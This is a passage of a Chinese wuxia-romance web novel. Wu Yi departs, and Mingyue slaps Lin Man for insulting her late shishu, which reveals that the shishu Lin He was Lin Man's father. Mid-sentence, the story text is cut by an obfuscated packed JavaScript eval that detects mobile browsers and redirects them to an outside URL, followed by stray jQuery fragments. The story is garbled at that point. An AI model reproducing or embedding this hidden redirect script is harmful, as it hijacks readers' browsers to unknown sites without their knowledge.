武逸把纸条放在烛台上点燃,直到变成灰烬,才收回视线。
他看向膳堂的方向,无奈摇头,现在避开反而能让明月看清自己的心,他取出纸笔留书一封,便收拾东西静悄悄离开,药童也在膳堂,没有任何人知道。
青锋吃过饭带了两个肉包子,想去安慰一下武逸,没想到推开门不见人影,只有桌子上用一根木杖压着的纸条。
【武当危,已回勿念】
他不知道武逸的离开是因为武当还是明月,青锋拿着纸条,赶紧去找明月。
白微和明月还在膳堂吃饭,青锋一闯进来便大呼,“不好了!武逸气跑了!”
“武逸怎么了?”明月听到消息立刻站了起来,她手里的碗打翻在桌子上,白粥撒了一片。
青锋把手中的纸条递给明月,“哎,师妹啊,你要是不能对别人负责,就不要做让别人误会的事。”
明月听了身体一僵,不过她想起自己和武逸的交代,又变得坦然,看向青锋的眼神毫无波澜。
“师兄,我什么都没做,你看武逸留了纸条,他说武当有危险,他得立刻回去,别想太多,我们几个谁能气到他啊,天天和小老头一样,故作高深,看不出情绪变化,谁知道他心里想的什么奇怪的东西。”
越说越多,越多越可疑,青锋扶额听着明月辩解之词,愈发相信武逸说明月是个负心女,做尽调戏之事还不负责。
“人都走了,算了,谁让你是我师妹呢。”青锋不想刨根问底,毕竟这是明月的私事。不过他还是提醒明月,“快吃,吃完和我一起去买礼品拜祭师叔!”
明月想起昨晚的事,脸上发热,赶紧埋头打翻的碗,不想被屋里其他人看到,她低声道:“我昨天去和师叔说了,不用再去。”
“就因为你昨天去了!今天才更要去,别问,听我的!”青锋还记得武逸说明月喝多忘记昨晚发生的事,只好跟着假装不知道,便以师兄的身份,强硬决定此事。
“是,师兄。”
对于青锋的决定,明月没有意见,不过她还是对白微道:“我们要去拜祭师叔,你别去了,你在仁济堂帮赵叔坐诊吧。”
白微在一旁看着青锋的脸色变化,精彩异常,突然被明月提醒,她立刻道:“我也正有此意,你们出城注意安全。”
明月还在啃手里的包子,对白微点个头示意知道,不再言语。
青锋看着专注吃东西的明月,很是无奈,只好自己去师叔坟头赔礼道歉。
桌子上没有可以吃的东西,明月不得不站起来,“师兄走吧,我吃完了。”
青锋带着明月去买祭品,遇到林满带着郑好也来买祭品。
“明月,昨晚吃酒怎么没看到你啊?”林满一看到青锋明月,便热切过来搭话。
明月看着林满笑起来和师叔很相似的面容,态度立刻变得柔和,“已经见证了你们昏礼,吃酒时候人太多太吵,我不喜欢,便带着武逸先离开了,你们两个怎么新婚第一天就来买祭品?”
林满表示理解,有些伤感道:“一大早带着郑好给我娘敬茶,她就让我们去城外三里坡找一个有糖炒栗子的坟头,说那是我亲爹,让我去祭拜。”
顾不上旁边的郑好,林满有些气愤骂了出来,“这个负心的男人没养过我一天,凭什么我结婚要带着郑好去祭拜他!小爷我活了十九年都没听过有这么一个人,真不知道我娘怎么想的!”
明月皱着眉想为师叔辩解一句,“也许他不知道你的存在。”
林满沾染的市井气,让他对不负责任的男人,很是看不惯,明月这句辩解,更是让他气的不行。
“不知道?呵!自己睡了女人还不知道留过种?一句不知道就抛下我娘,死了还得让我娘惦记!这男人真是孬种!”
明月一巴掌甩了过去,打的林满站立不稳,嘴角都有血流了下来。
她厉声道:“不许你这么说我师叔!你娘已经杀了我师叔,我师叔用命去弥补这份错过,让你娘泄愤,你还要怎样!”
林满满眼震惊,他不知道自己生父竟然是明月的师叔,更不知道明月他们送葬归来那日,竟然是给自己亲生父亲送葬,更不愿相信是他娘杀了他爹。
“你在骗我!”林满瞪着明月,只能用这个可能去证明事实没有那么荒唐。
郑好赶紧走上前,用手帕擦着林满的嘴角,她安慰道:“你先听他们怎么说,毕竟我们也是第一次听说你爹这个人。”
明月打了林满,但是不后悔,她看着受伤的林满,语气里仍然带着几分怒火,“不然你以为我们为什么主动和你攀谈?为什么我们主动参与你的昏礼,若不是师叔,我怎么会参加圣爱教坛主儿子的昏礼!”
备受打击的林满,他不愿相信,“你们不是和那些贴上来的江湖人一样嘛?因为我娘是圣爱教的坛主,主动和我打交道,就想从圣爱教里得好处!”
原来林满一直都清楚,那些主动和他交往的三教九流之人,所有人都是为了他娘和圣爱教,他很清楚,自己没有那个能力和魅力。
明月冷冷看着林满,眼中柔和不再,甚至把陨铁锤抓在手中。
“师叔一直在沭阳镇隐姓埋名,如果不是圣爱教逼我师父自绝,把我们合和门焚毁,我和师兄怎会无家可归,怎会知道还有一个师叔,师叔被你娘杀了,这是他自愿的,其中恩怨我不愿深究,但是别以为你是他儿子,我就可以容忍你对我师叔的谩骂!”
“合和门与圣爱教之间隔着的仇恨,不是一两句话能说得清,如果你生父不是我师叔,随便你骂,但是你骂我师叔不行!”青锋站在明月身边,握紧双拳摆明自己立场。
眼看着青锋和明月要动手的架势,郑好赶紧站在已经呆愣的林满身前,她张开双臂,护着身后的林满。
“这其中恩怨和林满又有什么关系,他从出生就没有父亲,新婚本该是高兴的日子,突然让他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457633|185360||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祭拜一个从未听过的爹,他不高兴这是人之常情,你们怎么就没想过林满的心?”
郑好不愧是世家女,临危不惧,条理清晰,对气头上的明月和青锋动之以情,晓之以理,即使武力不足,她还是在努力扭转局面。
林满被郑好这个弱女子保护,原本陷入情绪漩涡不愿出来面对现实的他,眼眶一热,他把郑好扯在身后,闭上眼对面前吼道:“要杀要剐,悉听尊便,不许你们动郑好!”
明月被林满这受死的模样逗笑了,不过她掩下嘴角的笑意,严肃和林满说:“我从未说过杀你,我听不得师叔被骂,你是师叔的留在世上唯一的孩子,我们不可能杀你,我打你一巴掌已经是你骂人的教训了。”
林满擦了擦额头的汗,赶紧转过身抱紧郑好,“媳妇儿,没事了没事了,咱不会死了。”
郑好挣扎推开林满,看着明月和青锋,有些不好意思,“抱歉,让二位见笑了,林满心不坏,只是说话不经大脑。”
林满怀中一空,本就不开心,听到媳妇对自己的评价,又难过起来,委屈巴巴拉着郑好的袖子,“媳妇儿,嫁给我委屈你了。”
“嫁都嫁了,争取以后别让我委屈,不求你出人头地,在这世道,好好活着就好。”
这是郑好对林满最大的期盼,但世事哪能尽如人意。
四人剑拔弩张的气氛在林满一番动作下,消弭于无形,备好祭品,虽然有些尴尬,但是林满不知道坟头具体位置,只好跟着明月一起。
出了店铺,他厚着脸皮和明月搭话,“你知道这么多,是不是也知道我爹的名字,他叫什么?长什么样?是个怎样的人?”
哪有对父亲不好奇的孩子,即使父亲在他印象里是个活不见人死不见尸的混蛋。
明月看着一脸期待的林满,放慢脚步,和林满同行,“我师叔叫林鹤,你笑起来和他很像,他是个打铁技艺很好的人,是个很有责任心的小老头,爱喝酒,对痴情人愿意成人之美,对我们这些小辈很爱护。”
明明相处时间不多,但是明月却觉得认识师叔很久,对他的小习惯了然于心。
听到明月的描述,林满有些失落,“这样的爹我竟然一眼都没看过,如果我从小在他身边长大,应该不会像现在这样一事无成吧。”
郑好感受到林满的悲痛,她顾不上行为是不是合乎礼仪规范,她主动去拉林满的手。
林满感觉到郑好的小动作,对着郑好扯出一个比哭还难看的笑,反握住郑好的手,感受来自身边人的温暖。
明月打量着林满,安慰道:“确实有些一事无成,不像文化人,也不像练武之人,和你相处过程中,也不曾发现你有什么过人之处,好在你性子和我师叔很像,闲云野鹤,知足常乐就好。”
林满想起明月所言,他反问道:“你说他一直在沭阳镇隐姓埋名,为什么一直没来过这里,我娘从没改过名字,哪怕他来看过,也不会错过啊!”